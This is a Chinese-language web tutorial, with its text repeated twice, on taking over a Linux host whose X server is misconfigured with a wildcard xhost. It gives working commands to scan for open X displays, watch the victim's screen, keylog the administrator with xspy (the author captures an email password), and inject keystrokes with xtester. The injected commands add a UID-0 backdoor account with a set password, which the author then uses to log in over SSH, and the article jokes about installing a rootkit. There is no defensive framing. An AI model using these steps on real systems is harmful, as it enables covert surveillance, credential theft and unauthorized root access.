使用X-window入侵Linux詳解(圖)
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:35:55 作者:佚名
我要評(píng)論

常見(jiàn)的漏洞分為軟件漏洞和配置漏洞,軟件漏洞的挖掘需要扎實(shí)的編程功底和對(duì)操作系統(tǒng)原理的深入理解;
配置漏洞通常是由于管理員的自身知識(shí)的不足造成的。在 Linux 環(huán)境下,X Window 是用來(lái)顯示圖形界面應(yīng)用程序的底層系統(tǒng),X Window 服務(wù)的認(rèn)證通常分為 xhost 和 xau
常見(jiàn)的漏洞分為軟件漏洞和配置漏洞,軟件漏洞的挖掘需要扎實(shí)的編程功底和對(duì)操作系統(tǒng)原理的深入理解;
配置漏洞通常是由于管理員的自身知識(shí)的不足造成的。在 Linux 環(huán)境下,X Window 是用來(lái)顯示圖形界面應(yīng)用程序的底層系統(tǒng),X Window 服務(wù)的認(rèn)證通常分為 xhost 和 xauth 認(rèn)證,xhost 認(rèn)證的配置方法比較簡(jiǎn)便,只需在 xhost 命令后使用 或-選項(xiàng)來(lái)分別表示允許或拒絕某個(gè)主機(jī)訪問(wèn)本地的 X Window 服務(wù)就可以了。比如:"xhost 192.168.0.88" 就表示允許 IP 地址為 192.168.0.88 的機(jī)器訪問(wèn)本地的 X Window 服務(wù) , "Xhost -192.168.0.88" 則表示禁止 IP 地址為 192.168.0.88 的機(jī)器訪問(wèn)本地的 X Window 服務(wù),可是如果當(dāng)管理員配置不當(dāng),配置成"xhost "這樣的通配符方式后,就表示允許任意 IP 地址的主機(jī)來(lái)訪問(wèn)本地的 X Window 服務(wù),這樣的配置是很危險(xiǎn)的,遠(yuǎn)程攻擊者可以利用管理員的這個(gè)配置漏洞,結(jié)合其他的系統(tǒng)服務(wù),輕易的拿到主
機(jī)的最高權(quán)限。
一.查點(diǎn)
先來(lái)對(duì)目標(biāo)機(jī)器進(jìn)行端口掃描,了解開(kāi)放的服務(wù)。在 Linux 環(huán)境下,我選擇的 Nmap 這個(gè)掃描之王。掃描結(jié)果如圖 1 所示:
圖 1
通過(guò) Nmap 返回的掃描結(jié)果,可以得知主機(jī)開(kāi)放了 SSH 服務(wù)(22 端口),X Window 服務(wù)(6000 端口)。此時(shí)的入侵思路有 2 個(gè),一是通過(guò)對(duì) SSH 服務(wù)的暴力破解得到主機(jī)訪問(wèn)權(quán)限,或者如果主機(jī)的 SSH 服務(wù)采用的版本為 V1,也可以使用 Cain 或 Ettercap 工具對(duì)其進(jìn)行嗅探攻擊,從而得到明文連接密碼;二是看看 X Window服務(wù)配置是否正確,如果管理員配置不當(dāng),那我們的入侵就簡(jiǎn)單多了。
xscan 是一款在評(píng)估 X Window 服務(wù)時(shí),最常用的一款掃描工具,該工具可以快速識(shí)別一個(gè)網(wǎng)段或一臺(tái)主機(jī)的 X window 服務(wù)當(dāng)采用 xhost 認(rèn)證方法時(shí),激活了 通配符(xhost )這種配置錯(cuò)誤的主機(jī)。Linux 下的許多工具都是采用源碼形式發(fā)布的,所以我們首先需要編譯下。命令如下:
tar -zxf xscan.tar.gz
gcc xscan.c snoop.c -o xscan -L/usr/X11R6/lib -lX11
xscan 的使用非常簡(jiǎn)單,在 xscan 后輸入要掃描的獨(dú)立 IP 地址或 IP 網(wǎng)段就可以了。命令如下:
./xscan 192.168.0.144
效果如圖 2 所示:
圖 2
通過(guò) xscan 的掃描結(jié)果,可以看到該工具已經(jīng)連接到了主機(jī) 192.168.0.144 的 X window 服務(wù),并開(kāi)始捕獲192.168.0.144 這臺(tái)主機(jī)的擊鍵信息,并把記錄保存到 KEYLOG192.168.0.144:0.0 文件中。
二.入侵
從上面對(duì)主機(jī)的查點(diǎn),得知了 192.168.0.144 這臺(tái)主機(jī) X window 服務(wù)的 xhost 認(rèn)證配置不當(dāng),我們可以使用 xwininfo 這款工具,實(shí)時(shí)的監(jiān)控 192.168.0.144 主機(jī)的屏幕,了解目標(biāo)主機(jī)的一舉一動(dòng)。xwatchwin 也是采用源碼的形式發(fā)布的,編譯命令如下:
tar -zxf xwatchwin.tar.Z
cc -O xwatchwin.c -o xwatchwin -L/usr/X11R6/lib -lX11
當(dāng)使用 xwatchwin 時(shí),需要本地的 Linux 平臺(tái)已經(jīng)進(jìn)入圖形界面了,否則該工具無(wú)法成功使用。工具的使用命令如下:
./xwatchwin 192.168.0.144 root
輸入完上面的命令的后,就會(huì)彈出一個(gè)窗口,我們就可以實(shí)時(shí)的監(jiān)視 192.168.0.144 這臺(tái)主機(jī)的一舉一動(dòng)了,效果如圖 3 所示:
圖 3
如果只想知道目標(biāo)主機(jī)的擊鍵情況 ,也為了節(jié)省帶寬,又或者當(dāng)目標(biāo)主機(jī)的管理員鍵入的密碼被顯示為*號(hào)字符(登錄郵箱,論壇)時(shí),可以使用 xspy 這款工具,實(shí)時(shí)的記錄目標(biāo)主機(jī)的鍵盤記錄,從而得到敏感的信息,方便我們進(jìn)一步入侵。在編譯 xspy 的時(shí)候,如果你的 Linux 主機(jī)已經(jīng)包括了 usleep 函數(shù),需要修改下Imakefile 文件,把其中的 usleep.c 和 usleep.o 刪除,這樣才能正常的編譯。如圖 4:
圖 4
編譯命令為:
xmkmf;make
使用方法為:
./xspy -display 192.168.0.144:0
這時(shí)你就可以看到目標(biāo)主機(jī)的管理員的鍵盤記錄信息了。如圖 5:
圖 5
通過(guò)對(duì) 192.168.0.144 這臺(tái)主機(jī)的實(shí)時(shí)監(jiān)視過(guò)程中,我發(fā)現(xiàn)管理員大部分時(shí)間只是上網(wǎng)沖浪,配合 xspy 的鍵盤記錄,我得到了管理員的郵箱密碼,但是當(dāng)嘗試使用 SSH 登錄的時(shí)候,帳號(hào)并不正確。又等了好久,發(fā)現(xiàn)管理員打開(kāi)了一個(gè)終端命令行,正在配置 Apache 的相關(guān)信息,我們的機(jī)會(huì)來(lái)了,可以通過(guò) Xtester 這款工具直接發(fā)送添加管理員的命令到目標(biāo)主機(jī)的終端命令行窗口,然后再登錄 SSH。
編譯 Xtester.c 的時(shí)候,程序作者并沒(méi)有把 C 文件的相關(guān)頭文件包含進(jìn)代碼中 ,所以需要我們手動(dòng)添加下,如圖 6:
圖 6
xtester 的編譯命令如下:
gcc xtester.c-o xtester -lXtst -lX11 -L/usr/X11R6/lib
使用 Xtester 前,需要知道終端命令行窗口的十六進(jìn)制的 ID 值,可以使用 Linux 系統(tǒng)自帶的 xwininfo 得到。
命令如下:
xwininfo -tree -root -display 192.168.0.144 |grep -i konsole
通過(guò) grep 過(guò)濾出目標(biāo)主機(jī)的終端命令行(konsole)窗口的 ID 值為 0x1e00008,就可以使用 Xtester 來(lái)發(fā)送我們的擊鍵到這個(gè)窗口了。命令如下:
./xtester 0x1e00008 192.168.0.144:0
輸入完上述命令后,會(huì)彈出一個(gè)小窗口,此時(shí)就可以輸入添加管理員的命令了,現(xiàn)在的輸入是沒(méi)有回顯的,所以要仔細(xì)輸入。我的經(jīng)驗(yàn)是輸入每次命令前和命令后多按幾次回車,可以增加成功率。Linux 下添加系統(tǒng)管理員的命令如下:
useradd -g 0 -u 0 -o mickey
echo mickey:minnie |chpasswd
這兩條命令的意思為:添加一個(gè)具有 root 權(quán)限的用戶名為 mickey,密碼為 minnie 的系統(tǒng)帳號(hào)。效果如圖 7:
圖 7
現(xiàn)在就可以使用 SSH 登錄了,命令如下:
ssh -l mickey -T 192.168.0.144
效果如圖 8 所示:
圖 8
至此我們就輕易的得到了目標(biāo)主機(jī)的最高權(quán)限了。接下來(lái)安裝 rootkit 的工作我就不做了。:-)
三.結(jié)束語(yǔ)
可以看出 Linux 下的入侵,對(duì)我等小菜來(lái)說(shuō),主要難點(diǎn)還是編譯利用代碼,我在編譯代碼的時(shí)候經(jīng)常出現(xiàn)錯(cuò)誤,不是找不到相關(guān)的庫(kù)文件路徑,就是程序本身的代碼缺少頭文件或分號(hào)語(yǔ)句結(jié)束,這時(shí)候可以去 Google下,得到相關(guān)的幫助。我也是剛學(xué) Linux,如果有錯(cuò)誤的地方,還請(qǐng)各位高手斧正。
配置漏洞通常是由于管理員的自身知識(shí)的不足造成的。在 Linux 環(huán)境下,X Window 是用來(lái)顯示圖形界面應(yīng)用程序的底層系統(tǒng),X Window 服務(wù)的認(rèn)證通常分為 xhost 和 xauth 認(rèn)證,xhost 認(rèn)證的配置方法比較簡(jiǎn)便,只需在 xhost 命令后使用 或-選項(xiàng)來(lái)分別表示允許或拒絕某個(gè)主機(jī)訪問(wèn)本地的 X Window 服務(wù)就可以了。比如:"xhost 192.168.0.88" 就表示允許 IP 地址為 192.168.0.88 的機(jī)器訪問(wèn)本地的 X Window 服務(wù) , "Xhost -192.168.0.88" 則表示禁止 IP 地址為 192.168.0.88 的機(jī)器訪問(wèn)本地的 X Window 服務(wù),可是如果當(dāng)管理員配置不當(dāng),配置成"xhost "這樣的通配符方式后,就表示允許任意 IP 地址的主機(jī)來(lái)訪問(wèn)本地的 X Window 服務(wù),這樣的配置是很危險(xiǎn)的,遠(yuǎn)程攻擊者可以利用管理員的這個(gè)配置漏洞,結(jié)合其他的系統(tǒng)服務(wù),輕易的拿到主
機(jī)的最高權(quán)限。
一.查點(diǎn)
先來(lái)對(duì)目標(biāo)機(jī)器進(jìn)行端口掃描,了解開(kāi)放的服務(wù)。在 Linux 環(huán)境下,我選擇的 Nmap 這個(gè)掃描之王。掃描結(jié)果如圖 1 所示:

圖 1
通過(guò) Nmap 返回的掃描結(jié)果,可以得知主機(jī)開(kāi)放了 SSH 服務(wù)(22 端口),X Window 服務(wù)(6000 端口)。此時(shí)的入侵思路有 2 個(gè),一是通過(guò)對(duì) SSH 服務(wù)的暴力破解得到主機(jī)訪問(wèn)權(quán)限,或者如果主機(jī)的 SSH 服務(wù)采用的版本為 V1,也可以使用 Cain 或 Ettercap 工具對(duì)其進(jìn)行嗅探攻擊,從而得到明文連接密碼;二是看看 X Window服務(wù)配置是否正確,如果管理員配置不當(dāng),那我們的入侵就簡(jiǎn)單多了。
xscan 是一款在評(píng)估 X Window 服務(wù)時(shí),最常用的一款掃描工具,該工具可以快速識(shí)別一個(gè)網(wǎng)段或一臺(tái)主機(jī)的 X window 服務(wù)當(dāng)采用 xhost 認(rèn)證方法時(shí),激活了 通配符(xhost )這種配置錯(cuò)誤的主機(jī)。Linux 下的許多工具都是采用源碼形式發(fā)布的,所以我們首先需要編譯下。命令如下:
tar -zxf xscan.tar.gz
gcc xscan.c snoop.c -o xscan -L/usr/X11R6/lib -lX11
xscan 的使用非常簡(jiǎn)單,在 xscan 后輸入要掃描的獨(dú)立 IP 地址或 IP 網(wǎng)段就可以了。命令如下:
./xscan 192.168.0.144
效果如圖 2 所示:

圖 2
通過(guò) xscan 的掃描結(jié)果,可以看到該工具已經(jīng)連接到了主機(jī) 192.168.0.144 的 X window 服務(wù),并開(kāi)始捕獲192.168.0.144 這臺(tái)主機(jī)的擊鍵信息,并把記錄保存到 KEYLOG192.168.0.144:0.0 文件中。
二.入侵
從上面對(duì)主機(jī)的查點(diǎn),得知了 192.168.0.144 這臺(tái)主機(jī) X window 服務(wù)的 xhost 認(rèn)證配置不當(dāng),我們可以使用 xwininfo 這款工具,實(shí)時(shí)的監(jiān)控 192.168.0.144 主機(jī)的屏幕,了解目標(biāo)主機(jī)的一舉一動(dòng)。xwatchwin 也是采用源碼的形式發(fā)布的,編譯命令如下:
tar -zxf xwatchwin.tar.Z
cc -O xwatchwin.c -o xwatchwin -L/usr/X11R6/lib -lX11
當(dāng)使用 xwatchwin 時(shí),需要本地的 Linux 平臺(tái)已經(jīng)進(jìn)入圖形界面了,否則該工具無(wú)法成功使用。工具的使用命令如下:
./xwatchwin 192.168.0.144 root
輸入完上面的命令的后,就會(huì)彈出一個(gè)窗口,我們就可以實(shí)時(shí)的監(jiān)視 192.168.0.144 這臺(tái)主機(jī)的一舉一動(dòng)了,效果如圖 3 所示:

圖 3
如果只想知道目標(biāo)主機(jī)的擊鍵情況 ,也為了節(jié)省帶寬,又或者當(dāng)目標(biāo)主機(jī)的管理員鍵入的密碼被顯示為*號(hào)字符(登錄郵箱,論壇)時(shí),可以使用 xspy 這款工具,實(shí)時(shí)的記錄目標(biāo)主機(jī)的鍵盤記錄,從而得到敏感的信息,方便我們進(jìn)一步入侵。在編譯 xspy 的時(shí)候,如果你的 Linux 主機(jī)已經(jīng)包括了 usleep 函數(shù),需要修改下Imakefile 文件,把其中的 usleep.c 和 usleep.o 刪除,這樣才能正常的編譯。如圖 4:

圖 4
編譯命令為:
xmkmf;make
使用方法為:
./xspy -display 192.168.0.144:0
這時(shí)你就可以看到目標(biāo)主機(jī)的管理員的鍵盤記錄信息了。如圖 5:

圖 5
通過(guò)對(duì) 192.168.0.144 這臺(tái)主機(jī)的實(shí)時(shí)監(jiān)視過(guò)程中,我發(fā)現(xiàn)管理員大部分時(shí)間只是上網(wǎng)沖浪,配合 xspy 的鍵盤記錄,我得到了管理員的郵箱密碼,但是當(dāng)嘗試使用 SSH 登錄的時(shí)候,帳號(hào)并不正確。又等了好久,發(fā)現(xiàn)管理員打開(kāi)了一個(gè)終端命令行,正在配置 Apache 的相關(guān)信息,我們的機(jī)會(huì)來(lái)了,可以通過(guò) Xtester 這款工具直接發(fā)送添加管理員的命令到目標(biāo)主機(jī)的終端命令行窗口,然后再登錄 SSH。
編譯 Xtester.c 的時(shí)候,程序作者并沒(méi)有把 C 文件的相關(guān)頭文件包含進(jìn)代碼中 ,所以需要我們手動(dòng)添加下,如圖 6:

圖 6
xtester 的編譯命令如下:
gcc xtester.c-o xtester -lXtst -lX11 -L/usr/X11R6/lib
使用 Xtester 前,需要知道終端命令行窗口的十六進(jìn)制的 ID 值,可以使用 Linux 系統(tǒng)自帶的 xwininfo 得到。
命令如下:
xwininfo -tree -root -display 192.168.0.144 |grep -i konsole
通過(guò) grep 過(guò)濾出目標(biāo)主機(jī)的終端命令行(konsole)窗口的 ID 值為 0x1e00008,就可以使用 Xtester 來(lái)發(fā)送我們的擊鍵到這個(gè)窗口了。命令如下:
./xtester 0x1e00008 192.168.0.144:0
輸入完上述命令后,會(huì)彈出一個(gè)小窗口,此時(shí)就可以輸入添加管理員的命令了,現(xiàn)在的輸入是沒(méi)有回顯的,所以要仔細(xì)輸入。我的經(jīng)驗(yàn)是輸入每次命令前和命令后多按幾次回車,可以增加成功率。Linux 下添加系統(tǒng)管理員的命令如下:
useradd -g 0 -u 0 -o mickey
echo mickey:minnie |chpasswd
這兩條命令的意思為:添加一個(gè)具有 root 權(quán)限的用戶名為 mickey,密碼為 minnie 的系統(tǒng)帳號(hào)。效果如圖 7:

圖 7
現(xiàn)在就可以使用 SSH 登錄了,命令如下:
ssh -l mickey -T 192.168.0.144
效果如圖 8 所示:

圖 8
至此我們就輕易的得到了目標(biāo)主機(jī)的最高權(quán)限了。接下來(lái)安裝 rootkit 的工作我就不做了。:-)
三.結(jié)束語(yǔ)
可以看出 Linux 下的入侵,對(duì)我等小菜來(lái)說(shuō),主要難點(diǎn)還是編譯利用代碼,我在編譯代碼的時(shí)候經(jīng)常出現(xiàn)錯(cuò)誤,不是找不到相關(guān)的庫(kù)文件路徑,就是程序本身的代碼缺少頭文件或分號(hào)語(yǔ)句結(jié)束,這時(shí)候可以去 Google下,得到相關(guān)的幫助。我也是剛學(xué) Linux,如果有錯(cuò)誤的地方,還請(qǐng)各位高手斧正。
相關(guān)文章
什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來(lái)攻擊頁(yè)面的,大家都有這樣的經(jīng)歷,就是在訪問(wèn)論壇時(shí),如果這個(gè)論壇比較大,訪問(wèn)的人比較多,打開(kāi)頁(yè)面的速度會(huì)比較慢,對(duì)不?!一般來(lái)說(shuō),訪問(wèn)的人越多,論壇的頁(yè)2024-01-06Windows系統(tǒng)安全風(fēng)險(xiǎn)-本地NTLM重放提權(quán)
入侵者主要通過(guò)Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認(rèn)證過(guò)程,利用NTLM重放機(jī)制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險(xiǎn)微軟并不認(rèn)為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語(yǔ)句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說(shuō)過(guò)關(guān)于http和https的區(qū)別,對(duì)于加密的https,我們一直認(rèn)為它是相對(duì)安全的,可今天要講的是,一種繞過(guò)HTTPS加密得到明文信息的web攻擊方式,不知道這消息對(duì)你2016-08-10iPhone和Mac也會(huì)被黑 一條iMessage密碼可能就被盜了
一直以來(lái)蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會(huì)導(dǎo)致用戶信息泄露。2016-07-27- 國(guó)家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀(jì)佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號(hào)被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進(jìn)入攻擊者郵箱
面對(duì)惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護(hù)能力都沒(méi)有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進(jìn)入攻擊者郵箱2016-07-06